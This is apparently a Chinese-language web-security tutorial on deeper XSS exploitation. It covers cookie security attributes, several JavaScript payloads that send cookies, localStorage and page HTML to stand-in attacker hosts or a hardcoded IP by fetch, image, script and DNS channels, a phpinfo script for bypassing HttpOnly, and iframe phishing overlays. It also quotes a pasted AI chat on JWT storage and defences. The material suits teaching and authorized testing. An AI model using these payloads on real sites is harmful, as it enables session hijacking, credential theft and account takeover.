跳转至

XSS深入利用

Cookie 是一种存储在用户浏览器中的小型文本文件,用于跟踪用户会话、偏好设置等信息。为了确保 Cookie 的安全性,可以设置多种安全属性。以下是一些常见的安全属性:

HttpOnly

  • 作用:防止 JavaScript 访问 Cookie。
  • 原理:当设置 HttpOnly 属性后,Cookie 无法通过客户端的 JavaScript 访问,只能通过 HTTP 请求发送到服务器。这可以有效防止跨站脚本攻击(XSS)利用 JavaScript 窃取 Cookie。
  • 示例:
HTTP
Set-Cookie: sessionid=123456789; HttpOnly

Secure

  • 作用:仅通过 HTTPS 协议发送 Cookie。
  • 原理:当设置 Secure 属性后,Cookie 只会通过 HTTPS(加密的 HTTP)协议发送到服务器,而不会通过 HTTP 发送。这可以防止中间人攻击(MITM)窃取 Cookie。
  • 示例:
    HTTP
    Set-Cookie: sessionid=123456789; Secure
    

SameSite

  • 作用:控制 Cookie 在跨站请求中的发送行为。
  • 原理:
  • SameSite=Lax:Cookie 仅在相同站点或顶层导航的跨站请求中发送(例如用户点击链接从其他网站跳转过来)。
  • SameSite=Strict:Cookie 仅在相同站点的请求中发送,完全禁止跨站请求发送 Cookie。
  • SameSite=None:Cookie 可以在跨站请求中发送,但必须配合 Secure 属性使用。
  • 示例:
    HTTP
    Set-Cookie: sessionid=123456789; SameSite=Strict
    

Domain

  • 作用:指定 Cookie 的有效域名。
  • 原理:Cookie 只会在指定的域名下有效。如果设置为 .example.com,则在 example.com 及其所有子域名下有效。
  • 示例:
    HTTP
    Set-Cookie: sessionid=123456789; Domain=example.com
    

Path

  • 作用:指定 Cookie 的有效路径。
  • 原理:Cookie 只在指定的路径下有效。例如,如果设置为 /admin,则仅在 /admin 路径下有效。
  • 示例:
    HTTP
    Set-Cookie: sessionid=123456789; Path=/admin
    

Expires/Max-Age

  • 作用:设置 Cookie 的过期时间。
  • 原理:
  • Expires:指定一个具体的过期时间(UTC 时间)。
  • Max-Age:指定 Cookie 的最大有效时间(以秒为单位)。
  • 示例:
    HTTP
    Set-Cookie: sessionid=123456789; Expires=Wed, 21 Oct 2025 07:28:00 GMT
    Set-Cookie: sessionid=123456789; Max-Age=3600
    

Priority

  • 作用:设置 Cookie 的优先级。
  • 原理:可以设置为 Low、Medium 或 High,用于控制浏览器对 Cookie 的处理优先级。
  • 示例:
    HTTP
    Set-Cookie: sessionid=123456789; Priority=High
    

SecureContext

  • 作用:确保 Cookie 只在安全上下文中可用。
  • 原理:当设置 SecureContext 属性后,Cookie 只能在 HTTPS 或其他安全上下文中使用。
  • 示例:
    HTTP
    Set-Cookie: sessionid=123456789; SecureContext
    

SameParty

  • 作用:限制 Cookie 在不同子域名之间的共享。
  • 原理:当设置 SameParty 属性后,Cookie 只能在同一组织控制的子域名之间共享。
  • 示例:
    HTTP
    Set-Cookie: sessionid=123456789; SameParty
    

最佳实践

为了确保 Cookie 的安全性,建议同时设置以下属性: - HttpOnly:防止 JavaScript 访问。 - Secure:仅通过 HTTPS 发送。 - SameSite=Strict 或 SameSite=Lax:防止跨站请求伪造(CSRF)攻击。 - Max-Age:设置合理的过期时间。

例如:

HTTP
Set-Cookie: sessionid=123456789; HttpOnly; Secure; SameSite=Strict; Max-Age=3600

通过合理设置这些属性,可以有效保护 Cookie 的安全性,防止被恶意利用。

如何将数据带外

在网络安全和渗透测试中,XSS 数据外带(Data Exfiltration) 是指攻击者在成功触发跨站脚本(XSS)漏洞后,利用 JavaScript 将受害者浏览器中的敏感数据(如 Cookie、LocalStorage、页面内容、CSRF Token 等)窃取并发送到攻击者控制的服务器上的过程。

基于 HTTP 请求的外带 (Fetch / XHR)

这是现代 Web 应用中最常见、最灵活的外带方式。攻击者使用 fetch API 或 XMLHttpRequest 将数据作为 POST 请求的主体或 GET 请求的参数发送出去。

JavaScript
// 窃取当前页面的 Cookie 或特定元素的内容
const stolenData = document.cookie; 

// 使用 Fetch API 将数据发送到攻击者控制的服务器
fetch('https://attacker-controlled-server.com/collect', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json'
    },
    body: JSON.stringify({
        target: window.location.href,
        data: stolenData
    })
});

可以发送大量数据,支持 POST 方法,不易在服务器访问日志中留下完整的敏感数据(因为数据在请求体中)。

  • 适用场景:
  • 数据量较大:需要窃取整个页面的 HTML 源码、大量的 LocalStorage 数据或长文本。
  • 需要隐蔽传输:使用 POST 方法将数据放在请求体(Body)中,避免敏感数据出现在 URL 中,从而避开 Web 服务器访问日志和基础 WAF 的 URL 关键字检测。
  • 目标环境宽松:目标网站没有配置严格的 CSP,或者 CSP 的 connect-src 指令允许向外部域名发起请求。
  • 限制与失效场景:
  • 受 CSP (connect-src) 严格限制时,浏览器会直接阻断请求。
  • 如果跨域请求且目标服务器未配置正确的 CORS 响应头,复杂的 POST 请求会因预检(OPTIONS)失败而被浏览器拦截。
  • 容易被高级 WAF 识别出异常的 application/json 或包含敏感关键字(如 document.cookie)的 POST 流量。

这是一种传统但极其可靠的方法,尤其在目标环境限制了现代 API 或存在较老的浏览器时非常有效。

通过 JavaScript 动态创建 HTML 元素,并将敏感数据附加到资源的 URL 中。浏览器在尝试加载该资源时,会自动向该 URL 发起 GET 请求。

JavaScript
const stolenData = encodeURIComponent(document.cookie);
const img = new Image();
// 浏览器会尝试加载这个图片,从而将数据通过 GET 参数发送给攻击者
img.src = `https://attacker-controlled-server.com/log?data=${stolenData}`;
JavaScript
const script = document.createElement('script');
// 加载攻击者服务器上的恶意脚本,并将数据作为参数传递
script.src = `https://attacker-controlled-server.com/evil.js?info=${encodeURIComponent(document.domain)}`;
document.head.appendChild(script);

兼容性极高,不受同源策略(针对资源加载)的严格限制,但数据会暴露在 URL 中,容易被 Web 服务器日志、代理或 WAF 记录。

  • 适用场景:
  • 绕过 CORS 限制:<img>、<script>、<link> 标签加载外部资源**不受同源策略(CORS)的限制**。即使目标服务器没有配置任何 CORS 头,浏览器也会乖乖发起请求。
  • CSP 配置存在疏漏:如果目标网站的 CSP 禁止了 connect-src(防 Fetch),但为了加载第三方统计代码或 CDN 资源,宽松地配置了 img-src * 或 script-src *,攻击者即可利用此漏洞。
  • 老旧环境:目标浏览器版本极低,不支持现代的 fetch API。
  • 限制与失效场景:
  • 只能是 GET 请求:数据必须拼接在 URL 参数中。
  • 长度限制:URL 长度受浏览器和服务器的限制(通常在 2000 ~ 8000 字符之间),无法外带大量数据。
  • 日志暴露:完整的敏感数据会明文记录在目标服务器、中间代理或 WAF 的访问日志中,容易被事后溯源发现。
  • 必须进行严格的 URL 编码(encodeURIComponent),否则特殊字符会破坏 URL 结构。

DNS 外带 (DNS Exfiltration)

当目标网站部署了非常严格的**内容安全策略 (CSP)**,阻止了向外部域名发起 HTTP/HTTPS 请求时,攻击者可能会转向 DNS 协议。

攻击者控制一个域名(如 evil.com)。恶意脚本将窃取的数据编码(如 Base32/Hex)后,作为子域名的一部分,尝试解析该子域名(例如通过创建 <img> 标签指向 data-encoded.evil.com)。攻击者通过监控其权威 DNS 服务器的查询日志,即可还原出外带的数据。

JavaScript
const data = btoa(document.cookie).replace(/=/g, ''); // Base64 编码并去除 =
// 触发 DNS 查询
new Image().src = `http://${data}.attacker-dns-log.com`;

能够绕过许多仅针对 HTTP/HTTPS 流量的 WAF 和 CSP 策略,但受限于 DNS 协议的特性(如子域名长度限制、字符集限制、UDP 丢包),通常只能外带少量关键数据(如 Session ID)。

  • 适用场景:
  • 极其严格的 CSP:目标配置了 default-src 'none',禁止了所有 HTTP/HTTPS 出站请求,甚至连图片都不允许加载到外部。但浏览器解析 DNS 是操作系统底层的行为,CSP 无法阻止 DNS 查询。
  • 严格的网络隔离(防火墙):目标服务器或客户端处于内网,防火墙出站规则(Egress Filtering)极其严格,仅允许 DNS 流量(UDP/TCP 53 端口) 出网,封锁了所有 80/443 端口的对外连接。
  • 盲 XSS (Blind XSS):在无法看到执行结果的场景(如后台日志查看器、客服工单系统),通过触发 DNS 查询,攻击者可以通过 DNSLog 平台确认漏洞是否真实存在并被触发。
  • 限制与失效场景:
  • 数据量极小:DNS 协议对子域名标签长度有严格限制(每个标签最多 63 个字符,且只能使用字母、数字和连字符)。通常只能外带高价值的小数据(如 32 位的 Session ID 或 CSRF Token)。
  • 需要编码:必须将数据转换为 Base32 或 Hex 格式,增加了 payload 的长度。
  • 可靠性差:DNS 协议基于 UDP,容易丢包;且各级 DNS 缓存可能导致查询无法到达攻击者的权威服务器。
  • 依赖外部基础设施:攻击者必须拥有一个可控的域名,并配置了能记录详细查询日志的权威 DNS 服务器(或使用现成的 DNSLog 平台)。

Note

为了降低攻击成本,攻击者(或渗透测试人员)通常不会自己搭建接收服务器,而是使用现成的第三方服务来捕获外带的数据。比如Webhook.site, RequestBin, Pingb.in, DNSLog 平台等。

如何选择带外方式

在授权渗透测试中,通常会按照以下逻辑进行尝试(由易到难,由常规到绕过):

  1. 首选尝试:fetch (POST)。如果成功,数据量大且隐蔽。
  2. 若被 CSP 拦截 (connect-src):降级尝试 <img> 或 <script> (GET)。检查 CSP 是否漏放了 img-src 或 script-src。
  3. 若数据量超过 URL 限制:尝试分块外带(将长数据切片,通过多个 <img> 标签并发请求发送),或寻找其他无需外带的利用方式(如直接在前端修改 DOM 显示给攻击者看)。
  4. 若所有 HTTP/HTTPS 均被 CSP 或防火墙封锁:启用 DNS 外带。仅外带最核心的凭证(如 Token),用于后续的身份接管。

以下是一个完整的数据带外示例payload:

JavaScript
Object.defineProperty(web.portal, 'appProps', {
  get: () => ({
    appName: `<img src=x onerror="
      (function(){
        // 组合敏感数据
        const payload = {
          cookie: document.cookie,
          storage: JSON.stringify(localStorage),
          dom: document.documentElement.innerHTML.slice(0,2000)
        };

        // 多路传输保障
        const jsonpFn = () => {
          const s = document.createElement('script');
          s.src = 'http://10.191.129.67:8000/j?d='+btoa(JSON.stringify(payload))+'&t='+Date.now();
        };

        const imgFn = () => {
          new Image().src = 'http://10.191.129.67:8000/i.gif?c='+encodeURIComponent(payload.cookie);
        };

        // 随机化传输策略
        Math.random() > 0.5 ? jsonpFn() : imgFn();
      })();">`
  })
});

XSS读取Token

现代的很多网站都使用Token(如JWT等)进行鉴权,那么如何使用XSS读取Token

USER

XSS攻击能够获取token吗,比如JWT

ASSISTANT

能,但取决于 JWT 在客户端的存储方式和安全配置。

XSS(跨站脚本攻击)的核心是**在受害者的浏览器中执行恶意 JavaScript 代码**。因此,XSS 能否获取 JWT,完全取决于恶意脚本能否通过 JavaScript 读取到 JWT。

具体分为以下几种情况:

1. 如果 JWT 存储在 localStorage 或 sessionStorage 中

结论:绝对能获取。

  • 原因:这两个 Web Storage API 对同源的 JavaScript 是完全开放的。攻击者只需注入一行简单的代码,如 fetch('https://attacker.com/?token=' + localStorage.getItem('jwt_token')),就能轻松将 JWT 窃取到自己的服务器。
  • 风险:极高。这是目前前端存储 Token 最不推荐的方式,因为一旦有 XSS 漏洞,Token 必丢。

结论:取决于 Cookie 是否设置了 HttpOnly 属性。

  • 情况 A:未设置 HttpOnly(能获取) 如果后端在 Set-Cookie 时没有加 HttpOnly 标志,JavaScript 可以通过 document.cookie 读取到该 Cookie。攻击者可以通过 XSS 将 document.cookie 发送给黑客服务器,从而窃取 JWT。

  • 情况 B:设置了 HttpOnly(不能直接获取) 如果后端设置了 Set-Cookie: token=xxx; HttpOnly,浏览器会**禁止 JavaScript 读取该 Cookie**。此时,即使存在 XSS 漏洞,攻击者也无法通过 document.cookie 拿到 JWT。


重要补充:拿不到 JWT,不代表 XSS 无法造成破坏

很多开发者认为:“只要我把 JWT 放在 HttpOnly 的 Cookie 里,XSS 就偷不到 Token,所以我就安全了。” 这是一个致命的误区。

即使 XSS 无法直接读取 HttpOnly 的 JWT,攻击者依然可以 “借刀杀人”:

  1. 浏览器在发送同源请求时,会**自动携带** HttpOnly 的 Cookie。
  2. 攻击者可以通过 XSS 注入代码,直接在前端发起 AJAX/Fetch 请求(例如:fetch('/api/transfer', {method: 'POST', body: '...'}))。
  3. 因为请求是同源的,浏览器会自动带上 JWT Cookie。后端服务器会认为这是一个合法的用户请求,从而执行转账、修改密码、删除数据等敏感操作。

这种情况下,攻击者虽然没看到 JWT 长什么样,但已经完美利用了 JWT 的权限。


如何防御?(JWT 安全存储最佳实践)

为了防范 XSS 对 JWT 的窃取和滥用,建议采取以下综合防御措施:

  1. 存储方式选择:
  2. 推荐:将 JWT 存储在 HttpOnly + Secure + SameSite=Strict/Lax 的 Cookie 中。这样可以防止 XSS 读取,也能在很大程度上防御 CSRF 攻击。
  3. 不推荐:直接存储在 localStorage 或普通 Cookie 中。

  4. 双重 Token 机制(Access Token + Refresh Token):

  5. 将生命周期极短(如 15 分钟)的 Access Token 放在内存中(变量里)或 HttpOnly Cookie 中。
  6. 将生命周期较长(如 7 天)的 Refresh Token 严格存储在 HttpOnly Cookie 中,且后端限制其只能用于刷新 Token,不能用于访问业务 API。

  7. 前端防御 XSS:

  8. 对用户输入进行严格的转义和过滤。
  9. 使用现代前端框架(如 React, Vue),它们默认会对模板渲染的内容进行 HTML 转义,避免直接使用 dangerouslySetInnerHTML 或 v-html。
  10. 开启 CSP(内容安全策略),限制浏览器只能加载和执行可信来源的脚本,从根源上阻断 XSS 执行。

  11. 后端防御:

  12. 即使请求带了合法的 JWT,对于敏感操作(如改密、转账),后端应要求二次验证(如输入支付密码、短信验证码)。
  13. 结合 SameSite Cookie 属性和 CSRF Token 防御跨站请求伪造。

USER

如何在前端查看token的存储是否安全?

ASSISTANT

在前端查看 Token(如 JWT)的存储是否安全,最直接、最有效的方法是使用**浏览器的开发者工具(DevTools,按 F12 或右键“检查”)**。

你需要重点检查 Token 的**存储位置**以及**相关的安全属性**。以下是具体的操作步骤和判断标准:


第一步:定位 Token 的存储位置

打开浏览器开发者工具,切换到 Application(应用) 面板(Edge 浏览器中叫“应用程序”)。在左侧导航栏展开 Storage(存储)。

你需要依次检查以下三个位置,看看 Token(JWT 通常以 eyJ 开头)存在哪里:

1. 检查 Cookies(推荐且最常见的安全位置)
  • 操作:点击 Cookies -> 选择你的域名。
  • 判断标准: 找到存储 Token 的那条 Cookie,重点看右侧的属性列:
  • HttpOnly:必须是 true(或打勾)。这是防 XSS 窃取的核心。如果没有这个属性,JS 可以通过 document.cookie 读取,不安全。
  • Secure:必须是 true(或打勾)。确保 Cookie 只能通过 HTTPS 传输,防止在 HTTP 下被中间人窃听。
  • SameSite:必须是 Strict 或 Lax。这是防 CSRF(跨站请求伪造)的关键。如果是 None,则必须配合 Secure 使用,但依然存在一定的 CSRF 风险。

2. 检查 Local Storage / Session Storage(通常不安全)

  • 操作:点击 Local Storage 或 Session Storage -> 选择你的域名。
  • 判断标准:
  • 只要在这里看到了 Token,就是【不安全】的。
  • 原因:这两个存储区域对同源的所有 JavaScript 完全开放。一旦网站存在 XSS 漏洞,攻击者可以直接用 localStorage.getItem('token') 把 Token 偷走。

3. 检查 内存 / 全局变量(相对安全,但体验受限)

  • 操作:Token 如果存在内存中,不会直接显示在 Storage 面板里。你需要切换到 Console(控制台),尝试输入 window.token、window.authToken 等常见变量名,或者在 Sources(源代码) 面板中查看 Vue/React 的全局状态(如 Vuex/Pinia/Redux store)。
  • 判断标准:
  • 防 XSS 窃取是安全的(因为 JS 无法通过常规 API 遍历内存),但**不防内存读取型 XSS**。
  • 缺点:页面一刷新 Token 就没了,通常需要配合 HttpOnly 的 Refresh Token 来实现无感刷新。

第二步:检查 Token 的传输方式(Network 面板)

存储安全只是第一步,Token 在请求中怎么传递同样重要。切换到 Network(网络) 面板,刷新页面或触发一个 API 请求,点击该请求查看详情:

1. 检查 Request Headers(请求头)
  • 如果是 Cookie 存储:在请求头的 Cookie 字段中能看到 Token。这是正常的,浏览器会自动携带 HttpOnly Cookie。
  • 如果是 Header 存储(如 Authorization):在请求头看到 Authorization: Bearer <token>。这说明 Token 存在前端内存或 Storage 中,由前端代码手动塞进请求头。(注意:如果 Token 存在 Storage 中,这种传输方式依然面临 XSS 风险)。
2. 致命错误检查:URL 参数
  • 操作:查看请求的 URL(Query String Parameters)。
  • 判断标准:
  • 绝对不能看到 Token 出现在 URL 中(例如 https://api.xxx.com/data?token=eyJ...)。
  • 原因:URL 会被记录在浏览器历史记录、服务器访问日志、代理服务器日志中,甚至通过 Referer 头泄露给第三方网站。这是极其严重的安全漏洞。

第三步:终极 XSS 验证(Console 测试)

如果你怀疑 Token 存在 Cookie 中但没设置 HttpOnly,或者想验证前端代码是否真的无法读取 Token,可以在 Console(控制台) 中输入以下代码:

JavaScript
// 尝试获取所有 cookie
console.log(document.cookie); 

// 尝试获取 localStorage
console.log(localStorage.getItem('token')); // 替换为实际的 key
  • 安全的结果:document.cookie 打印出的内容中**不包含** Token;localStorage 返回 null。
  • 不安全的结果:成功打印出了完整的 Token 字符串。

总结:前端 Token 存储安全 Checklist

你可以用以下清单快速评估当前项目的前端 Token 存储是否达标:

检查项 安全状态 说明
Token 存在 localStorage / sessionStorage 危险 极易被 XSS 窃取,坚决避免。
Token 存在 URL 参数中传递 危险 极易通过日志、历史记录泄露,坚决避免。
Token 存在 Cookie 中,但**未设置** HttpOnly 危险 可被 document.cookie 读取,防不住 XSS。
Token 存在 Cookie 中,但**未设置** Secure 警告 在 HTTP 环境下会被明文窃听(HTTPS 环境下影响较小,但仍建议开启)。
Token 存在 Cookie 中,但 SameSite=None 警告 容易遭受 CSRF 攻击,建议改为 Lax 或 Strict。
Token 存在 Cookie 中,且设置了 HttpOnly + Secure + SameSite=Lax 安全 最佳实践,同时防御了 XSS 窃取和 CSRF 滥用。
Token 仅存在于前端内存(变量/状态管理)中 安全 防 XSS 窃取,但需配合后端机制解决刷新丢失问题。

补充提示:前端只能做到“尽量让攻击者拿不到 Token”,但如果网站本身存在严重的 XSS 漏洞,攻击者依然可以通过注入 JS 代码,直接以用户的名义发送请求(即使用户拿不到 Token 的具体内容,也能利用浏览器的自动携带机制执行敏感操作)。因此,修复 XSS 漏洞才是治本之策。

USER

你知道当前网页chat.qwen.ai也是将token存放到localStorage中的吗?

ASSISTANT

你观察得非常仔细。确实,包括 chat.qwen.ai 在内的许多现代大型 Web 应用(尤其是基于 React/Vue 等框架构建的单页应用 SPA),在实际工程中会选择将 Token(或用于维持会话的 Session ID、Access Token)存放在 localStorage 或 sessionStorage 中。

这似乎与我之前强调的“localStorage 存储 Token 不安全、不推荐”相矛盾。为什么像阿里这样拥有顶级安全团队的大厂,也会采用这种“理论上不安全”的方案呢?

这其实涉及到 “理论安全”与“工程实践”之间的权衡(Trade-off)。以下是大厂做出这种技术选型的几个核心原因:

1. 安全重心的转移:死磕 XSS 防御

将 Token 放在 HttpOnly Cookie 中,是**防御纵深**的体现(即使有 XSS,也偷不到 Token)。 而将 Token 放在 localStorage 中,本质上是**把“防 Token 泄露”的压力,全部转移到了“防 XSS”上**。

大厂之所以敢这么做,是因为他们有能力将 XSS 发生的概率降到极低:

  • 严格的 CSP(内容安全策略):通过配置严格的 CSP,浏览器只允许执行来自可信域名的脚本,直接拦截了绝大多数外部注入的恶意代码。
  • 强大的代码审计与自动化扫描:在 CI/CD 流程中集成严格的安全扫描,确保前端代码不存在 eval、不安全的 DOM 操作(如直接操作 innerHTML)等漏洞。
  • 框架层面的保护:现代前端框架(React/Vue)默认对模板渲染进行 HTML 转义,从根源上减少了 XSS 的注入点。

结论:只要确保绝对没有 XSS 漏洞,localStorage 就是安全的。大厂是在用高昂的安全研发成本,换取前端架构的便利。

2. 架构设计与用户体验的妥协

在现代前后端分离的 SPA 架构中,使用 Cookie 会带来一些工程上的痛点:

  • 跨域与多端共享:Cookie 有严格的同源/同站(SameSite)限制。如果产品需要在多个不同的子域名、甚至嵌入到客户端的 WebView、小程序中共享登录态,localStorage 配合特定的跨域通信机制(如 postMessage)往往比 Cookie 更灵活。
  • 状态管理与无刷新体验:前端状态管理库(如 Redux, Pinia)结合 localStorage,可以非常方便地实现“页面刷新后恢复登录态”、“多标签页状态同步”等功能,而无需频繁向后端发起校验请求。
  • OAuth/SSO 流程:在某些复杂的第三方登录回调流程中,前端需要临时暂存 Token 或 State 参数,localStorage 是比 Cookie 更常用的临时存储地。

3. Token 机制与后端风控的兜底

即使退一万步讲,假设真的发生了 XSS 导致 localStorage 中的 Token 被窃取,大厂也有足够的兜底手段让攻击者“拿到 Token 也没用”:

  • 短效 Token:localStorage 中存放的通常是生命周期极短的 Access Token(如 15 分钟)。攻击者偷走后,很快就会过期。
  • 强大的风控系统:后端不仅仅校验 Token 是否有效,还会结合**设备指纹、IP 地理位置、用户行为基线**进行风控。如果攻击者在异地、新设备上使用偷来的 Token 发起敏感请求,会立刻触发二次验证(如短信验证码、人脸识别)或直接拦截。
  • 权限最小化:真正高权限的操作(如修改密码、绑定设备)不依赖这个 Token,而是需要独立的、更高级别的鉴权机制。

给普通开发者的启示:如何看待这种“矛盾”?

理解了大厂的做法,并不意味着我们要推翻之前的“最佳实践”。我们需要区分 “大厂的工程实践” 和 “通用安全建议”:

  1. 对于普通开发者/中小型项目: 依然强烈建议将 Token 存放在 HttpOnly Cookie 中。 因为中小项目往往没有资源去做到极致的 XSS 防御,代码中可能存在未知的漏洞。在这种情况下,localStorage 就是一个定时炸弹。使用 HttpOnly Cookie 是成本最低、最稳妥的“兜底”方案。

  2. 对于有成熟安全体系的大型项目: 使用 localStorage 是一种 “风险可控的架构选择”。他们清楚地知道这里的理论风险,但通过 CSP、代码审计、后端风控等一系列组合拳,将实际风险降到了可接受的水平,从而换取了前端开发的便利和更好的用户体验。

总结来说: 安全没有绝对的黑白,只有**风险与成本的平衡**。 我之前提供的建议,是教你在“不知道如何防御 XSS”或“防御成本较高”时,如何用最简单的方法(HttpOnly Cookie)保证安全。 而你观察到的现象,则是顶级安全团队在“已经解决了 XSS 问题”后,为了追求更好的工程架构而做出的技术妥协。两者都是正确的,只是适用的场景和前提条件不同。

USER

我观察到很多网站同时存在Cookie和Token,但实际鉴权只使用Token,这么设计的目的是什么?

ASSISTANT

这是一个非常敏锐且专业的观察!在现代 Web 开发中,“前端请求头带 Token 鉴权,同时浏览器里还存着几个 Cookie” 是一种非常普遍的架构设计。

既然 API 鉴权只认 Token(通常是放在 Authorization: Bearer <token> 中),那这些 Cookie 存在的意义是什么?其实,Cookie 和 Token 并不是非此即彼的替代关系,在现代架构中,它们往往分工合作,各司其职。

以下是这种“双轨制”设计最常见的几个核心目的:

1. 经典的安全架构:双 Token 机制(Access Token + Refresh Token)

这是目前中大型项目最推荐的安全实践。

  • Access Token(访问令牌):生命周期短(如 2 小时),通常存储在**内存**或 localStorage 中。每次 API 请求时,前端将其放入 Header 中。它负责实际的业务鉴权。
  • Refresh Token(刷新令牌):生命周期长(如 7 天),严格存储在 HttpOnly 的 Cookie 中。
  • 设计目的:
  • 解决刷新丢失问题:如果 Access Token 只放内存,页面一刷新就没了。
  • 极致安全:如果 Access Token 放在 localStorage,一旦有 XSS 漏洞就会被偷。但因为它的生命周期极短,损失可控。而真正长效的 Refresh Token 放在 HttpOnly Cookie 中,XSS 根本偷不走。
  • 结果:你看到的“实际鉴权只用 Token”,用的是 Access Token;而那个默默存在的 Cookie,其实是用来无感刷新 Access Token 的 Refresh Token。

2. SSO(单点登录)与跨子域状态共享

很多大厂的产品矩阵包含多个子域名(如 taobao.com, tmall.com, i.taobao.com)。

  • Cookie 的作用:用户在主登录中心(如 login.taobao.com)登录后,会在顶级域名(.taobao.com)下种一个**全局的 SSO Cookie**。
  • Token 的作用:当你访问具体的子业务(如 tmall.com)时,前端或后端会读取这个全局 Cookie,向认证中心换取一个**局部的、用于该子业务 API 鉴权的 JWT Token**,并存在前端的内存或 localStorage 中。
  • 设计目的:Cookie 负责**跨子域名的登录态共享**(因为 Cookie 可以设置 Domain 为父域),而 Token 负责**具体业务接口的无状态鉴权**。

很多时候,你在 Network 或 Application 面板里看到的 Cookie,业务后端根本不用它们来校验用户身份,它们是给**其他系统**看的:

  • 风控与设备指纹:例如 device_id, trace_id。用于后端风控系统判断当前请求是否来自异常设备、是否是多开、是否有爬虫行为。
  • WAF(Web 应用防火墙)/ 人机验证:例如 Cloudflare 的 cf_clearance,或阿里云盾的 Cookie。用于在网关层拦截恶意流量、通过滑块验证后发放的“通行证”。
  • 数据埋点与分析:例如 _ga (Google Analytics), _fbp (Facebook Pixel)。纯粹用于前端统计用户行为、广告归因,与业务鉴权毫无关系。

4. 辅助防御 CSRF(跨站请求伪造)

虽然标准的 Authorization: Bearer <token> 鉴权方式本身就能免疫 CSRF(因为浏览器不会自动把自定义 Header 带到跨站请求中),但在一些混合架构或使用特定框架(如 Laravel, Angular)时,仍会看到 Cookie 的身影。

  • 设计模式(Double Submit Cookie):后端在 Cookie 中写入一个随机的 XSRF-TOKEN。前端 JS 读取这个 Cookie,并在每次发送请求时,将其放入请求头(如 X-XSRF-TOKEN)中。
  • 设计目的:利用“只有同源 JS 才能读取 Cookie”的特性,来证明这个请求确实是由本站的前端代码发起的,从而提供双重保险。

5. 历史包袱与渐进式重构

很多大型网站不是一天建成的,往往经历了从“传统 MVC”到“前后端分离”的演进。

  • 老系统:依赖传统的 Session ID (存在 Cookie 中) 进行鉴权。
  • 新系统/新微服务:采用 JWT Token 进行无状态鉴权。
  • 设计目的:在重构期间,为了兼容老接口和新接口,前端会同时维护 Cookie 和 Token。老接口走 Cookie,新接口走 Token。

总结:如何理解它们的分工?

你可以把现代 Web 架构想象成一个现代化的大型写字楼:

  • Cookie(特别是 HttpOnly Cookie) 就像是**大楼的门禁卡/访客登记簿**。它由大楼物业(浏览器/网关)自动管理,用于跨楼层(跨子域)识别你的身份,或者用于安防系统(风控/WAF)记录你的行动轨迹。它很安全(XSS 偷不走),但不够灵活。
  • Token(JWT/Access Token) 就像是**具体办公室的密码或动态令牌**。你进入大楼后,去具体的部门(调用具体的 API)办事时,需要出示这个令牌。它非常灵活,适合前后端分离和微服务架构,但需要你自己妥善保管(防 XSS)。

“同时存在 Cookie 和 Token,且鉴权只用 Token”,本质上是架构师在**安全性(防 XSS/CSRF)、灵活性(跨域/无状态)、用户体验(单点登录/无感刷新)** 三者之间做出的最优平衡。

如何绕过Http-only

当一个 cookie 设置了 HttpOnly 标志后,浏览器会禁止通过 JavaScript 脚本来读取这个 cookie 的值。这意味着即使有 XSS 攻击成功注入了恶意脚本,也无法从受害者浏览器中获取敏感的 cookie 值,从而有效防止了 cookie 盗取和会话劫持攻击。

但是HttpOnly不能够完全防御XSS,只能减少XSS带来的危害。

  1. 浏览器未保存帐号密码:需要 xss 产生登录地址,利用表单劫持

将用户输入的账户名和密码(也可是管理员,另存一份打包发送至我们的接收地址,但是局限于登录页面存在跨站脚本的漏洞,否则无法生效

  1. 浏览器读取保存的用户名密码

  2. 采用phpinfo界面,通过XMLHttpRequest请求该页面获取Cookie信息

JavaScript
<script>
function createXmlHttp() {
 if (window.XMLHttpRequest) {
    xmlHttp = new XMLHttpRequest();               
 } else {
    xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
 }
}
function getS() {
 var Url = 'PHPinfo的地址';
 createXmlHttp();
 xmlHttp.onreadystatechange = writeS;
 xmlHttp.open("GET", Url, true);
 xmlHttp.send(null);
}
function writeS() {
 if (xmlHttp.readyState == 4) {
  var x = xmlHttp.responseText.match(/HTTP_COOKIE.+?<\/td><td.+?>([\w\W]+?)<\/td>/);
  if (x){
     var url = "自己收取cookie的地址" + x[1]; //x 为带httponly cookie的所有cookie
     createXmlHttp();
     xmlHttp.open("GET", url, true);
     xmlHttp.send(null);  
    }   
 }
}
getS();
</script>
  1. 客户端的可以使用ms08-069、通过flash、java的API可以获取到cookie

  2. 镶嵌一个frame全屏,提示登陆过期,然后跳转到钓鱼页面

自己写一个和原网站后台登录地址一模一样的钓鱼页面 JS加载一个iframe 100%覆盖原网页 提示登录超时重新登录 因为是iframe加载 url地址不变 钓鱼成功后 再跳转回/admin/index.php 因为目标session没过期 所以可以极大程度的模拟正常的登录成功操作

  1. XSS获取源码

如果后台的location地址和toplocation地址不一样 后台应该是采用了iframe形式加载功能页面 那么只要抓到toplocation的页面源代码 就可以得到其他所有功能页面的地址 并且再次获取源代码进行分析 注:我们是通过XSS 当时的session就是管理员本身 所以是可以正常的获取到页面源代码的